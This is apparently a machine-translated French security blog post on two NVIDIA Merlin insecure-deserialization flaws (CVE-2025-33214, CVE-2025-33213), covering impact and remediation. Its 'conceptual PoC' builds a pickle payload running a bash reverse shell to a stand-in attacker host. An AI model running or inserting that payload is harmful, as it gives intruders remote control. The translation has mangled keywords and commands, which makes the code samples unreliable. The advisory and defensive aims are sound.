En-tête négligent

Vulnérabilités RCE NVIDIA Merlin (CVE-2025-33214 & CVE-2025-33213) - Plongée profonde et remédiation

Le paysage de l'infrastructure de l'IA est confronté à un grave problème de sécurité. NVIDIA Merlinle cadre standard de l'industrie pour la construction de systèmes de recommandation performants à grande échelle, contient deux éléments cruciaux. Exécution de code à distance (RCE) vulnérabilités.

Suivi en tant que CVE-2025-33214 et CVE-2025-33213Ces défauts résident dans la NVTabular et Transformers4Rec de Python. Elles découlent d'une faiblesse fondamentale dans le traitement des données par Python : Désérialisation non sécurisée (CWE-502).

Les attaquants peuvent exploiter ces failles pour compromettre les clusters de GPU, empoisonner les modèles d'IA ou exfiltrer des ensembles de données propriétaires simplement en incitant un système à charger un fichier de configuration malveillant ou un point de contrôle de modèle. Cet article présente une dissection technique du mécanisme d'exploitation, l'impact sur les pipelines MLOps et une stratégie de correction obligatoire.

Vulnérabilités RCE de NVIDIA Merlin

La matrice de vulnérabilité : Qu'est-ce qui est touché ?

Les vulnérabilités affectent la façon dont les composants de Merlin gèrent la sérialisation des données, en particulier l'utilisation de l'attribut cornichon lors du chargement d'artefacts à partir du disque.

ComposantID CVEType de vulnérabilitéSévéritéFonctionnalité affectée
NVTabularCVE-2025-33214Désérialisation non sécuriséeCritiqueChargement des objets de workflow sauvegardés via Workflow.load()
Transformers4RecCVE-2025-33213Désérialisation non sécuriséeCritiqueChargement des points de contrôle du modèle et des configurations de formation

Les deux vulnérabilités ont un score CVSS proche de 9.8indiquant qu'ils sont exploitables à distance (si la source du fichier est distante) ou localement, qu'ils ne requièrent aucune authentification et qu'ils compromettent totalement le système.

Anatomie technique : Quand le décapage devient un poison

Pour comprendre pourquoi ces CVE sont si dangereux, nous devons analyser le mécanisme sous-jacent de l'attaque : L'algorithme de Python cornichon format de sérialisation.

Le problème des cornichons

Vulnérabilités RCE NVIDIA Merlin (CVE-2025-33214 & CVE-2025-33213) - Plongée profonde et remédiation

Contrairement à JSON ou CSV, qui sont des formats de données uniquement, cornichon est un moteur de machine virtuelle basé sur une pile. Il ne se contente pas de stocker des données ; il stocke des instructions sur la manière de reconstruire les objets Python.

La vulnérabilité réside dans la __reduce__ méthode. Lorsque Python décoche un objet, si cet objet définit la méthode __reduce__Python exécutera l'objet appelable renvoyé par cette méthode. Cette fonctionnalité, conçue pour la reconstruction légitime d'objets, permet aux attaquants d'intégrer du bytecode arbitraire.

Analyse du code d'exploitation (PoC conceptuel)

⚠️ Avertissement : Le code suivant est uniquement destiné à des fins éducatives et de tests défensifs.

Dans le cadre de NVTabularun attaquant pourrait créer un flux de travail répertoire. Lorsqu'un scientifique des données ou un pipeline MLOps automatisé charge ce flux de travail pour effectuer des opérations ETL, la charge utile se déclenche.

Voici à quoi ressemble un générateur de charge utile militarisé :

Python

`import pickle import os

classe MaliciousArtifact(objet) : def réduire(self) : # La charge utile : Cette commande s'exécute immédiatement après la désérialisation. # Dans une attaque réelle, il s'agirait d'un reverse shell ou d'une balise C2. cmd = "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1′" return (os.system, (cmd,))

Générer le poison

Cela simule un fichier de modèle ou une configuration de flux de travail compromis.

exploit_data = pickle.dumps(MaliciousArtifact())

Le déclencheur

Dans NVTabular ou Transformers4Rec, un code similaire à celui-ci est exécuté :

Aucune vérification n'est effectuée sur le contenu du fichier avant son exécution.

pickle.loads(exploit_data)`

Le vecteur Transformers4Rec

Pour Transformers4Rec (CVE-2025-33213), le risque est souvent caché dans les fichiers de modèles PyTorch (.pt ou .bin). Comme les mécanismes d'enregistrement standard de PyTorch utilisent cornichon par défaut, tout modèle pré-entraîné téléchargé à partir d'une source non fiable (par exemple, un référentiel Hugging Face compromis) peut servir de cheval de Troie.

Analyse d'impact : Le coût du compromis

Pourquoi les RSSI et les directeurs de l'ingénierie devraient-ils s'en préoccuper ? Parce que les pipelines Merlin fonctionnent sur une infrastructure de grande valeur.

A. Piratage des grappes de GPU (Cryptojacking)

Merlin est conçu pour les GPU NVIDIA A100/H100. Il s'agit des ressources les plus convoitées pour le minage de crypto-monnaies. Un RCE permet aux attaquants d'installer silencieusement des mineurs, ce qui coûte aux entreprises des milliers de dollars par jour en frais d'informatique en nuage.

B. Empoisonnement de la chaîne d'approvisionnement

Si un pirate compromet le pipeline de formation via NVTabular (phase ETL), il peut modifier subtilement les données d'entrée.

  • Résultat : Le modèle apprend les biais cachés ou les portes dérobées (par exemple, "Toujours recommander ce produit spécifique" ou "Ignorer les indicateurs de fraude pour cet identifiant d'utilisateur").

C. Mouvement latéral

Les clusters d'entraînement à l'IA disposent souvent d'un accès privilégié aux lacs de données (S3, Snowflake) et aux référentiels de code internes. Un nœud compromis constitue une tête de pont idéale pour pénétrer plus profondément dans le réseau de l'entreprise.

Stratégie de remédiation : Sécuriser le pipeline de l'IA

NVIDIA a publié des correctifs, mais une véritable correction nécessite un changement dans la manière dont votre organisation traite les artefacts d'IA.

Phase 1 : Rattrapage immédiat (la phase "arrêter l'hémorragie")

Vérifiez vos versions actuelles et mettez-les à jour immédiatement en utilisant tuyau ou conda.

Le cambriolage

`# Mettre à jour NVTabular vers la version patchée pip install -upgrade nvtabular

Mise à jour de Transformers4Rec vers la version corrigée

pip install -upgrade transformers4rec`

Vérification :

Après l'installation, vérifiez les numéros de version par rapport au bulletin de sécurité de NVIDIA pour vous assurer que vous êtes sur une version datée de décembre 2025 ou plus tard.

Phase 2 : Renforcement de l'architecture (phase "zéro confiance")

1. Migrer vers SafeTensors

L'industrie s'éloigne de Pickle. Tenseurs sûrs est un nouveau format de sérialisation développé par Hugging Face qui est sécurisé de par sa conception. Il stocke les tenseurs uniquement sous forme de données, ce qui rend l'exécution de code impossible pendant le chargement.

Exemple de migration de code :

Python

`# ❌ VULNERABLE (Legacy PyTorch/Pickle) torch.save(model.state_dict(), "modèle.pt") model.load_state_dict(torch.load("modèle.pt“))

SECURE (SafeTensors)

from safetensors.torch import save_file, load_file

save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`

2. Mise en œuvre de l'analyse des modèles

Intégrez un scanner à votre pipeline CI/CD ou à votre registre de modèles. Des outils comme Picklescan peut analyser .pkl, .ptet .bin à la recherche de signatures de bytecode suspectes avant qu'ils ne soient autorisés à se charger.

3. Segmentation du réseau (filtrage des sorties)

Vos environnements de formation ne doivent pas disposer d'un accès illimité à l'internet.

  • Bloc : Tout le trafic sortant par défaut.
  • Autoriser : Uniquement des domaines spécifiques et fiables (par exemple, des miroirs PyPI internes, des buckets S3 spécifiques).
  • Pourquoi ? Cela empêche un shell inversé (comme celui du PoC ci-dessus) de se connecter au serveur de commande et de contrôle de l'attaquant.

Conclusion

La divulgation des CVE-2025-33214 et CVE-2025-33213 est un signal d'alarme pour l'industrie de l'IA. Nous ne pouvons plus traiter les fichiers de modèles et les flux de données comme des actifs statiques bénins ; il s'agit d'un code exécutable.

L'IA s'intégrant de plus en plus dans les opérations critiques de l'entreprise, la sécurisation du pipeline MLOps est tout aussi importante que la sécurisation de l'application web elle-même.

Plan d'action pour aujourd'hui :

  1. Audit : Exécuter liste des pip sur tous les conteneurs de formation.
  2. Rustine : Déployer les dernières versions de NVIDIA Merlin.
  3. Refactoriser : Commencer la feuille de route pour remplacer Pickle par SafeTensors.
Partager l'article :
Articles connexes